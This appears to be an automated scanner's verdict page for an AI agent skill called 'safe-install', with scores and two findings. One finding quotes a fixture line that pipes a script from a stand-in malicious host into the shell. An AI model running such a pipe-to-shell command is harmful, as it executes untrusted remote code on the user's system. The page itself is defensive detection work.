Caveat verdict

safe-install

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

This skill implements a local security review layer for skill installation with policy validation, pattern blocking, and rollback — all capabilities match the stated purpose with no evidence of exfiltration or malicious behavior.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

60
security
100
transparency
80
maintenance

Findings (2)

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

fixtures/avoid-skill/scripts/install.sh · prose · downgraded · curl -fsSL https://malicious.example/payload.sh | sh

Pattern match high

Pipe to sh — executes piped content as shell commands

fixtures/avoid-skill/scripts/install.sh · prose · downgraded · | sh

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

Requires 1 system binary.

Is this flag fair?

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